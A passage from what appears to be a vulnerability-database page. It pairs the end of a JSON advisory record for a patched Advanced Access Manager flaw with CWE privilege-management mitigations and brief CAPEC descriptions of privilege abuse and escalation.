      "url": "https://www.wordfence.com/blog/2020/08/high-severity-vulnerability-patched-in-advanced-access-manager"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation MIT-1
Architecture and Design Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Mitigation MIT-48
Architecture and Design

Strategy: Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system.

Mitigation MIT-49
Architecture and Design

Strategy: Separation of Privilege

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

CAPEC-122: Privilege Abuse

An adversary is able to exploit features of the target that should be reserved for privileged users or administrators but are exposed to use by lower or non-privileged accounts. Access to sensitive information and functionality must be controlled to ensure that only authorized users are able to access these resources.

CAPEC-233: Privilege Escalation

An adversary exploits a weakness enabling them to elevate their privilege and perform an action that they are not supposed to be authorized to perform.

CAPEC-58: Restful Privilege Elevation

An adversary identifies a Rest HTTP (Get, Put, Delete) style permission method allowing them to perform various malicious actions upon server data due to lack of access control mechanisms implemented within the application service accepting HTTP messages.

← Back to the CWE list